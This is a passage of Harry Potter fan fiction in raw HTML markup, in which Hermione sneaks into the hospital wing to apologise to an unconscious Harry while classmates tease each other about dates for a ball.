crying.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Parvati let go of\nHermione, who backed in to the wall and started to cry. Lavender and Parvati\nboth sat on either side of her and held her close. Parvati put her shoulder on\nHermione&#8217;s and said, &quot; It&#8217;ll be okay...&quot;</p>\n\n<p class="MsoNormal">&quot; Yes, love.&quot;said\nLavender, &quot; It&#8217;s not like he&#8217;s dead or something.&quot;</p>\n\n<p class="MsoNormal">Hermione was slowly\nbeginning to stop her flow of tears when Lavender&#8217;s words brought her back to\ntears, worse than ever. </p>\n\n<p class="MsoNormal">&quot; Good going,\nLavender.&quot; scolded Parvati.</p>\n\n<p class="MsoNormal">&quot; He\nsaid...&quot; Hermione pointed at the headboy (Roger Davies), &quot; Harry\ndoesn&#8217;t want to talk to me...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Roger was listening\nto the three girls, he had not intended to overhear them, talking as loud as\nthey did he could not help it. He piped up, still far from the three girls, &quot;\nI said no such thing!&quot; He paused, &quot; What I said was that, I&#8217;ve been\ntold not to let anyone in. Especially Fred and George&#8217;s brother and <u>You</u>.\nI&#8217;m only following orders from the headmaster.&quot; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; See Harry\ndoesn&#8217;t hate you...&quot; said Parvati.</p>\n\n<p class="MsoNormal">&quot; Well, he\nhasn&#8217;t talked to me....&quot; said Hermione, looking ready to let the dam in\nher eyes be broken.</p>\n\n<p class="MsoNormal">&quot; Did you let\nhim?&quot;</p>\n\n<p class="MsoNormal">&quot; No...&quot;\ncame the almost whispered answer.</p>\n\n<p class="MsoNormal">&quot; Did he try\nanyway?&quot;</p>\n\n<p class="MsoNormal">&quot; Yes...&quot;\nher voice was so very quite that they had to strain themselves to hear him.</p>\n\n<p class="MsoNormal">&quot; How long ago\nthis start?&quot; ask Parvati.</p>\n\n<p class="MsoNormal">&quot; Yesterday...&quot;</p>\n\n<p class="MsoNormal">&quot; You haven&#8217;t\neven been angry at Harry for 24 hrs...he can&#8217;t hate you.&quot; Parvati\nreasoned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lavender decided\nthat it was a safe time for her to join the conversation. </p>\n\n<p class="MsoNormal">&quot; Yeah...We&#8217;ll\nget to see him soon. Besides the way he is about Quidditch, I doubt he&#8217;ll not\nbe a 100% for the tryouts...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Parvati smiled at\nLavender. This is a very good way to comfort Hermione. </p>\n\n<p class="MsoNormal">&quot; She&#8217;s right\nyou know...&quot; she stopped dead in the middle of the conversation as the\nhead boy approached Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; The\nheadmaster did tell me to tell you that Harry would be alright by the end of\nthe day tomorrow. The healing magic was particularly rough on him and it would\ntake the rest of today and most of tomorrow night for Harry to recover.&quot;</p>\n\n<p class="MsoNormal">Hermione brightened\nup considerably. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Thanks for\ntelling me this&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Roger was going to\nsay welcome, but Lavender jumped up to him and kissed him full on the lips.\nHermione and Parvati exchanged shocked glances. Neither had any idea why\nLavender had kissed Roger, and it seemed Lavender did not either as she\nshrieked, &quot; Ahhh...What have I done?&quot;, before taking off really fast\nfrom there. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione and Parvati\nfollowed very close. Roger was too stunned to do anything other than falling\nbackwards onto the floor with shock.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; That was\nsomething&quot; said Ron as he congratulated Seamus on his date with Hannah.</p>\n\n<p class="MsoNormal">&quot; Yeah...&quot;\nsaid Neville patting Seamus on the back.</p>\n\n<p class="MsoNormal">The twins showed up\nfrom their elective class of &quot;Magical Reaction&quot; an advanced potion\nclass that Professor Snape took. &quot; Did I hear it right? Someone ask\nsomeone else to the ball already?&quot;</p>\n\n<p class="MsoNormal">&quot; How did you\nknow?&quot; asked Ron, very surprised that his brothers had found out about the\ndate so fast.</p>\n\n<p class="MsoNormal">&quot; SO Ickle Ronniekins\nhas a date...&quot; said Fred/George.</p>\n\n<p class="MsoNormal">&quot; Where is\nHermione? We want to tease the little woman a bit...&quot;said the other twin.</p>\n\n<p class="MsoNormal">&quot; I don&#8217;t have\na date with Hermione.&quot; said Ron turning an awful shade of red.</p>\n\n<p class="MsoNormal">&quot; Oh... We\nassumed it was you, since you asked us how we knew...&quot; asked the first\none.</p>\n\n<p class="MsoNormal">&quot; Which by the\nway is a secret, and we hope to sell to Zonkos very soon...&quot; said the\nother one handing out small bits of parchment, which turned out to be business\ncards. Ron took one. It read: </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>Fred &amp;\nGeorge Weasley<br>\n</b><i>Proud proprietors of <br>\nWeasley Wizard Whizzes (WWW)</i></p>\n\n<p class="MsoNormal">Maker&#8217;s of all you pranking\nand joke need. <br>\n<u>Everything you can think of including the kitchen sink.</u><br>\n<i>Since 2 months 3 weeks and 2 days ago </i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; So who is\nthe lucky boy?&quot; asked one of them.</p>\n\n<p class="MsoNormal">Seamus put his hand\nup slowly.</p>\n\n<p class="MsoNormal">&quot; Hmm...&quot;\nsaid one of them, circling him one way, while the other circled in the opposite\nway &#8211; they were appraising him. &quot; Hmm...indeed.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Who is the\ngirl?&quot; they asked together.</p>\n\n<p class="MsoNormal">&quot; Hannah\nAbbot...from Hufflepuffs.&quot;</p>\n\n<p class="MsoNormal">&quot; Hmm...she&#8217;s\nbeautiful...&quot; said one of them, much to Seamus&#8217;s displeasure. </p>\n\n<p class="MsoNormal">&quot; You sure you\ndon&#8217;t want to...&quot; started one of them</p>\n\n<p class="MsoNormal">&quot; ...go for a\nNice Griffindor girl...&quot;</p>\n\n<p class="MsoNormal">&quot; ...Like\nGinny over there perhaps...&quot;</p>\n\n<p class="MsoNormal">&quot; Or... Elizabeth next to her&quot; (both of the girls blushed when they heard\nthe boys talking about them) One of the twins then got the really good idea of\nteasing Ron as well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Maybe even\nHermione...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Fred and George were\nbehaving quite unlike themselves &#8211; normally this love stuff was just too &#8211; icky\nto tease people about. Icky is the word they chose to use. They were breaking\ntheir rule about this because they had been doing very little pranking and a\nlot of studying. Like they say &#8211; all work and no play makes the twins\ndesperate. They were just using anything they can to amuse themselves.)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron piped up. He\nreally did not want to let any of the other boys to think of Hermione in that\nway - other than himself. &quot; Hey! The guy has got a date. And all you can\ntell him is he should have had chosen another girl!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Oops! Sorry Ickle\nRonniekins. We didn&#8217;t want to talk about your Girlfriend...&quot;</p>\n\n<p class="MsoNormal">&quot; She&#8217;s not my\ngirlfriend&quot; he said, almost screaming.</p>\n\n<p class="MsoNormal">&quot; Well in that\ncase...&quot;said one of the twins with a very serious tone, &quot; You would\nnot mind me asking her out?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Fred!&quot;\nsaid obviously George since he just called out the other ones, name, &quot; I\ndon&#8217;t know you had a thing for Hermione.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron grumbled\nsomething to his brothers before he headed out of the room. He knew he would\nnever be able to compete with anyone of his brothers if they decided that they\nlike Hermione. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Ron&quot;\nyelled Fred from downstairs, &quot; We were only joking&quot; before he broke\ninto laughter.</p>\n\n<p class="MsoNormal">&quot; What were\nyou two joking about?&quot; asked Hermione, who had appeared behind the boys\nafter her visit to the hospital wing.</p>\n\n<p class="MsoNormal">&quot; errr...we\nhave to go&quot; said Fred breaking into a run, dragging George along with him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; What was all\nthat about?&quot; she asked again - this time to Dean Thomas, next to Seamus.</p>\n\n<p class="MsoNormal">&quot; Nothing\nreally...Well, will you look at that&quot; he pointed at the large wall clock\nabove the fireplace. &quot;...It&#8217;s time for our meeting...sorry girls we have\nto go&quot; said the other boys as they all left in a group.</p>\n\n<p class="MsoNormal">&quot; What meeting?!?!&quot;\nshe asked very puzzled, but got no answer as all the boys vanished into their\ncommon room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione did wonder\nwhat the boys were talking about but stopped when Parvati brought out a packet\nof exploding snap cards. As she played the game, Hermione thought it was odd\nhow she had not gone totally obsessed with her OWL yet. She needed to draw up a\ntime table soon. Usually she would be going at it a long time before the exams\nand would have had drawn up revision tables by now. Not to mention the fact\nthat she would have been nagging her two best friends to start studying. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She realized that\nshe had over the years changed. She was no longer the bossy and annoying kid,\nwell maybe just a little, she was when she was in muggle schools. The same\nthings (being bossy, annoying and most importantly being smart) that had made\nan outcast of her in the muggle school, had brought her two very wonderful\nfriends. She looked across two Parvati and Lavender. <i>&#8216; Now I have another\ntwo...&#8217;</i> she thought. But these two would not have been her friends if Harry\nand Ron had not gone to save her in his first year.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216; I have a lot to\nthank those two idiots for...&#8217; she thought.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Suddenly she\nthought back to the reason why she was in that toilet that night. It was\nbecause Ron had behaved like all the boys (and girls) at her muggle school. He\nhad pointed out to Harry that Hermione had no friends. It surprised her that\neven through he was the reason she was in the toilet that day, she attributed\nher rescue more on Ron.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216; One of these days\nI have to find out why they went back to save me?&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dinner could not\nhave had finished fast enough for Hermione. Every few minutes, she looked at\nher watch to see how long was left. Each second seemed to take longer than the\none before and finally, after playing with her food all night long, she finally\nput a whole lot in her mouth and left for the common room. Ron saw her leave,\nand wondered if he should go after her, as he half suspected that Hermione was\nsomehow blaming herself for Harry&#8217;s predicament. Just as he was about to leave\nhis favorite dishes filled up his plates. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216; Right after this&#8217;\nhe thought. But by the time he had finished his dinner, Ron had completely\nforgotten about why he wanted to talk to Hermione.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It took Hermione\nover ten minutes to go to the common room and then to her dorm to retrieve the\ncloak and the marauders map. She closed the drapes around her four poster bed\nwith a spell. Though it was possible to open the drapes by the simple &quot; Alohomora&quot;\nspell, she did not think any one in her dorm room had mastered that spell yet.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She posted a note\non the drapes, telling anyone to wake her up before the next morning would die\nof a horrible curse or have a face full of acne that&#8217;ll stay with them until\nthe day they die. One was for Lavendar, the rest of the threat for Parvati and\nthe other two girls.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She shivered a bit\nas she put on the cloak. Her senses were assaulted by the memories of her and\nher two male friends&#8217; escapades under the cloak. Also of the latenight walks\nthat Harry took with her in their 4th year while he was having a\nfight with Ron. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She took out the\nmap and made her way secretly to the hospital wing. It took her quite a long\ntime to navigate through avoiding everyone. When she saw Mrs. Norris, she\nflashed back to the time in their first year when Ron wanted to kick her, while\nthey were under the cloak. She almost gave away her position, because it was\nhard for her to hide her giggles from the memory. She shook her head to get rid\nof the silly grin that was plastered all over her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">At the door (more\nlike the corner to the corridor) leading to the hospital wing, Hermione got\ncold feet. She had never done anything the headmaster had forbidden, without\nhelp from Harry and Ron. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">But she got over it\nvery fast. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She rounded the\ncorner and walked very silently through the corridors. She saw Alicia sitting\noutside the door, scanning the hall from where she sat, and looking out for\nanyone who might be trying to sneak into the hospital wing. </p>\n\n<p class="MsoNormal">Hermione was only\nabout five feet from where Alicia was sitting when she thought she caught\nAlicia staring right at her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That little thing\nmade her heart stop, but relaxed a little when Alicia turned her head the other\nway. Hermione quickly rushed past Alicia &#8211; careful to be very silent. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The only occupied\nbed was the one that was the furthest from the door. This eased Hermione&#8217;s mind\na lot, as she was sure that if the bed was close to the door then Alicia might\nhear her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">One look at Harry&#8217;s\nbody (he was naked from waist up), and she broke down and started to sob\nsoftly. There were bruises everywhere, and Harry&#8217;s scar she could see had been\nbleeding very slightly from before. She could see his now fairly well muscled\narms and hands covered in scratches and scorch marks...well actually it was\nsoot, grime and self-inflicted scratches, when he was trying to escape the\nancient and powerful magic done on him. Hermione didn&#8217;t know the reasons behind\nthem but the first one.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She went to the\nnurse&#8217;s table and retrieved some water and some spare gauze that was there. She\ndipped a bit of gauze in the water and started to clean Harry&#8217;s scar. &quot;\nIt&#8217;ll be a while before I get the scar cleaned so...&quot; she whispered to the\nunconscious Harry in his sleep as she wiped a tear from her own face, &quot;\nlisten carefully...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She took\nextraordinary care to wipe away the dry blood, and clean the jagged edges of\nhis scar. When the gauze was almost crimson, she dipped it in the bowl of water\n(magical cleaner mixed in to disinfect against and remove blood) and squeezed\nit to release all the blood. She used the clean cloth to start to wipe Harry&#8217;s\nface and then rest of his body as she spoke to him. Softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; I&#8217;m really\nsorry about the way I acted yesterday... I..I ... don&#8217;t know what happened to\nme,&quot; she said wiping away yet another tear, &quot; I promise I&#8217;ll make it\nup to you...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Some more sobbing\nbefore, &quot; I remember telling Ron how much of an idiot he was being not to\nbelieve you last year...yes... I know I said I wouldn&#8217;t tell him that when you\nasked last year during TriWizard Tournament... but I did.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She wiped off\nanother tear, this time on the other cheek, &quot;...and look what I did\nbecause I thought you wouldn&#8217;t need me to be your friend anymore... just get\nbetter, okay. Then I&#8217;ll apologize and kick your butt in that tournament &#8211; and\neverything would be alright again.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She moved onto\nHarry&#8217;s left arm, where there was a scar from the small griffins that had\nattacked him a long while ago. It was very grimy but Harry&#8217;s palm was something\nshe had not expected it to be. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It used to be very\nslightly harsh form Quidditch practice and poor maintenance of his wand. The\nresult of the poor maintenance was that she had to help Harry remove a lot of\nsplinters over the years. The spell had to be cast by another person. More\nspecifically using another wand, otherwise there was always the chance of the\nsplinter cause damage to nerves in the body.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">But after Harry&#8217;s\nreturn this was the first time she had seen and felt his hands up close and she\ncould see they were different than the ones she had seen and felt only a week\nago when Harry was trying to save her. They were <i>alot</i> harsher and worn\nwith time then they should have had been. She attributed it to all the running\nand physical activity Harry had started doing after coming from Morocco. Not to mention the two days that Harry was missing in the\ndesert. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Looks like\nyou need to discover moisturizers...&quot; she mumbled, &quot;...your hands are\nas smooth as the Himalayas... anyway... I&#8217;ll tell you what&#8217;s been\nhappening.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; You missed\nthe announcement that Lee Jordan was removed as the commentator for the\nQuidditch games. Snape used Lucius Malfoy to remove him. Said, he was biased.\nThey are going to use another student to do it, but I doubt that anyone can be\nas good as him. I do admit he was biased, but he was the best that the school\nhas had in a long time... well that&#8217;s what the twins told me at dinner\ntime.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; In the\nmorning today, I went to the lakeside to do some practice for the Dueling\ntournament, guess who I ran into. Cho Chang. Yep, she was there to practice\nKung Fu. Well I wanted to train as well, so I asked if I could join her for a\nbit of one on one. I could not believe how good she was. It took her about ten\nminutes to make me submit... She&#8217;s gonna be a lot of competition, so I&#8217;ve\ndecided we&#8217;re gonna train for the tournament together.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; He won&#8217;t be\nin the tournament&quot; said a feminine voice, that she knew to belong to\nAlicia.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Alicia...How\ndid you...&quot; she started to say, but stopped when she saw Alicia smile. It\nwas more in the range of amusement than anything else. It only took Hermione a\nsecond to realise what Alicia might have been thinking. &quot;...It&#8217;s not what\nit looks like?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; What exactly\ndoes it look like, Hermione?&quot; asked Alicia.</p>\n\n<p class="MsoNormal">&quot; I&#8217;m not his\ngirlfriend or anything...I just came to say...&quot; </p>\n\n<p class="MsoNormal">Alicia interrupted\nher. &quot; sorry?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; How did you\nknow?&quot; asked Hermione, looking at Alicia suspiciously.</p>\n\n<p class="MsoNormal">&quot; He told me\nyesterday. When we were playing exploding snaps in the common room. I was just\nwondering how long you would be mad at him....hmmm&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Hmm.\nWhat?&quot; asked Hermione.</p>\n\n<p class="MsoNormal">&quot; Well I\nthought it was gonna last more than that... I though until the weekend, but I\nguess that incident with the Veloron moved up the timetable.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; It\ndid...&quot; Hermione wanted to desperately ask Alicia one question before she\nwanted to make a run for the common room. &quot;...er...what did you mean about\nHarry not taking part in the Dueling tournament?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Alicia lifted one\neyebrow and answered, &quot; Harry&#8217;s not taking part...I can&#8217;t really blame\nhim. I mean, with what happened the last time he was in a competition...&quot;\nHer voice was very sympathetic.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; I should\nhave had guessed that&#8217;s what would have had happened.&quot; She twiddled her\nfingers in front of her, as Alicia took another piece of gauze and dipped it in\nthe water, and then proceeded to clean Harry&#8217;s other arm of the soot and grime.\nIt amazed both girls that Professor Dumbledore and Madam Pomfrey left Harry in\nthe condition that he was.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; You saw me\ncome in didn&#8217;t you?&quot; asked Hermione very curious as to why the headgirl\nlet her into the hospital wing when she was supposed to keep everyone out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Yep. I\ndid... don&#8217;t worry, I&#8217;m not going to tell anyone. I wanted you and him back to being\nfriends as much as you.&quot;</p>\n\n<p class="MsoNormal">&quot; What do you\nmean?&quot;</p>\n\n<p class="MsoNormal">&quot; Well... When\nyou two were fighting, if I can even call it that, I saw how different he was.\nIt&#8217;s odd to be around him when he&#8217;s like that. He was more reserved, almost as\nif he was avoiding getting hurt...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Suddenly Hermione\nblurted out, &quot; You like him, Don&#8217;t you?&quot;</p>\n\n<p class="MsoNormal">Even in the dim\nlight of the room, Hermione could see Alicia turn pink. &quot; No...No...&quot;\nshe said, trying to hide the truth from Hermione.</p>\n\n<p class="MsoNormal">&quot; No, you\ndo!..&quot; said Hermione, practically shouting, &quot;... you were the same\nway when I told you about Harry switching class to Runes...yeah!&quot; Hermione\nwas getting more and more excited, &quot;...and when they were doing the\nsorting... I saw you blush several times... It was because of Harry wasn&#8217;t it?!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; No!&quot; said\nAlicia, her voice betraying the outrage that it was supposed to have.</p>\n\n<p class="MsoNormal">&quot; It is!&quot;\nHermione kept going without a thought to what Alicia had said.</p>\n\n<p class="MsoNormal">&quot; No!&quot;\nAlicia tried again, but she was really bad at this and Hermione was paying no\nattention to her denials.</p>\n\n<p class="MsoNormal">&quot; So?&quot;\nsaid Hermione, expecting and answer.</p>\n\n<p class="MsoNormal">&quot; So\nwhat?&quot; Alicia looked very guilty.</p>\n\n<p class="MsoNormal">&quot; How long\nhave you felt this way for Harry?&quot; Hermione asked giggling.</p>\n\n<p class="MsoNormal">&quot; I didn&#8217;t say\nI feel a thing...&quot;</p>\n\n<p class="MsoNormal">Hermione made a\nface at Alicia, who gave up all pretences,</p>\n\n<p class="MsoNormal">&quot;...Oh... all\nright... If you must know. Since last year...well kind of.&quot;</p>\n\n<p class="MsoNormal">&quot; Since when\nlast year?&quot; It even amazed Hermione what she asked next. (&quot;...I want\ndetails&quot;), as it was more in line with what Parvati or Lavender would ask.</p>\n\n<p class="MsoNormal">&quot; Since...\ndon&#8217;t tell him. All right?&quot;</p>\n\n<p class="MsoNormal">Hermione nodded. </p>\n\n<p class="MsoNormal">&quot; Since the\nball... he looked so cute on the dance floor, but it was a bit of a shame how\nhis date was moving him around on the dance floor.&quot;</p>\n\n<p class="MsoNormal">&quot; Wow!... You\nhave no idea... but that&#8217;s what Harry told me too. You two were made for each\nother.&quot; Hermione squealing with joy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; You think\nso...&quot; Alicia grinned a little, &quot; I mean... Who says I&#8217;m interested\nin him like that...&quot; Alicia did not want to hear any more from Hermione so\nshe asked her to leave.</p>\n\n<p class="MsoNormal">&quot; I think you\nshould go now... Madam Pomfrey would be back soon, to check on Harry&#8217;s\nprogress.&quot;</p>\n\n<p class="MsoNormal">&quot; You don&#8217;t\nwant to know if he likes you or not?&quot; Hermione ask tentatively, teasing.</p>\n\n<p class="MsoNormal">&quot; I do...No. I\ndon&#8217;t... If Madam Pomfrey sees you both of us would be in trouble&quot;</p>\n\n<p class="MsoNormal">&quot; She won&#8217;t\nsee me.&quot; Said Hermione.</p>\n\n<p class="MsoNormal">&quot; Because of\nthat cloak?&quot; Alicia asked pointing to the watery cloak near the edge of\nHarry&#8217;s bed.</p>\n\n<p class="MsoNormal">Hermione nodded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Yes!... by\nthe way how did you see through it?&quot;</p>\n\n<p class="MsoNormal">&quot; Professor\nDumbledore gave me this...&quot; Alicia held out her palm.</p>\n\n<p class="MsoNormal">In it she had a small\nclear opal like stone. It sparkled like that of the opal eye dragon&#8217;s eye. It\nonly took a fraction of a second for Hermione to realize why exactly the stone\ndid look like the eyes of the Opal Eye Dragon. Because it was the eye of the\ndragon!</p>\n\n<p class="MsoNormal">&quot; Is that...Wow...Oh...Wow..Is...Is\nthat...Wow oh Wow!&quot; Hermione started babbling.</p>\n\n<p class="MsoNormal">&quot; Yep! Eye of\nthe Opal Eye Dragon... Ability to see what can not be seen...&quot; Alicia said\nit with pride, &quot; This is the reason, you have to get out...&quot; now her\nvoice was more nervous than pride, &quot; Madam Pomfrey has the other eye that\nProfessor Dumbledore has. He gave one to her and one to me. I have to give mine\nto Roger when he comes to take over his shift. This is why you have to\ngo!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Alicia was\nbasically pushing Hermione out of the door, as she said her final words, &quot;\nIf you tell Harry about anything I said to you... Lets just say I can pair you\nwith Malfoy in anything... including the ball. Not to mention what kind of\npunishment you&#8217;d get for breaking into the hospital wing.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; You wouldn&#8217;t?&quot;\nHermione said, he voice expressed how much she would hate to be paired up with\nDraco.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot; Oh, Yes I\nwill and you know I&#8217;m supposed to choose a couple to promote inter-house\nrelationship. I was going to choose a Ravenclaw with a Hufflepuff, but if you\ntell Harry anything...&quot; Alicia let her words hang in the air, which made\nHermione even more nervous than before. Hermione did not want to take a chance\nat getting caught by Madam Pomfrey nor get Alicia mad at her. The last thing\nshe wanted was to go to the ball with Malfoy, even that came after her own\ndeath on the list of things she did not want to do.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After she left the\nhospital wing, Hermione felt like a weight had been lifted off her shoulder.\nShe was thinking about the assignment that Hagrid had given the whole class to\nbe handed in a few weeks time, when suddenly she remembered something.</p>\n\n<p class="MsoNormal">&#8216; I thought I put a\ncharm on the sheet covering the Veloron cage... I know I did.&#8217; Hermione stopped\nin her tracks. Something odd was going on and she had to find out what it was. &#8216;\nI think I&#8217;ll go check it out tomorrow morning.&#8217; she thought, entering the\ncommon room very quietly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione cried to\nsleep that night, even though she had apologized to Harry and she felt\neverything would be all right, she cried not because Harry might never forgive\nhim, but because she was ashamed of what she had done. She had put no thought\nabout Harry when she had judged that Harry would participate in the tournament.\nShe cried into her pillow for an hour before slumber over took her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>&nbsp;</b></p>\n\n<p class="MsoNormal"><b>NEXT DAY...</b></p>\n\n<p class="MsoNormal">It took a while for\nHermione to realize why her pillow was wet in the morning from her tear. When\nshe looked at herself in the mirror, after splashing her face with water, she\nsaw a pair of puffy and bloodshot eyes stare back at her. When she finally\nstopped her eyes were back to normal, but the puffiness she couldn&#8217;t make go\naway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">At breakfast Malfoy\nreceived a note from Professor Dumbledore. He looked scared, nervous and\nslightly on the edge as he read the message.</p>\n\n<p class="MsoNormal"><b><i>&nbsp;</i></b></p>\n\n<p class="MsoNormal"><b><i>To Mr. Malfoy<br>\n</i></b><i>Your presence is\nrequired in the headmaster&#8217;s chambers today at lunchtime. There will be a\nhearing on your alleged assault on Professor Rubeus Hagrid. The door will open\nonce you reach it. </i></p>\n\n<p class="MsoNormal"><b><i>Professor\nDumbledore<br>\n</i></b><i>Headmaster</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy managed to\nkeep a straight face when he read the letter. This was not because he was\nafraid of what his punishment was going to be, for he already knew that his\nfather had after receiving his letter blackmailed the board of governors into\nnot expelling him. His father was quite proud in the letter that he sent his\nson back. He mentioned several times that his son had a great future ahead of\nhim on the dark side. Lucius had not used those exact words but the tone of the\nletter said it all.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Though he was not\ngoing to be expelled Malfoy was afraid that he might be punished, and punished\nseverely. He just hoped it would not be the forbidden forest. He still got\nnightmares of the time he was in there with Harry and Neville. Ofcourse they\nwere not nightmares &#8211; Malfoys didn&#8217;t get nightmares. They got curses inflicted\nupon them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">By breakfast time,\nHermione had decided that she would take a lot of notes for the classes that\nHarry missed. Defence against Dark Arts class was a double one and Hermione was\nsure Harry would kick himself for missing the class. As with the last time all\nthe boys threw up at the beginning of the class, when Fleur handed out the\nchocolate. When she went past Hermione&#8217;s desk she stopped.</p>\n\n<p 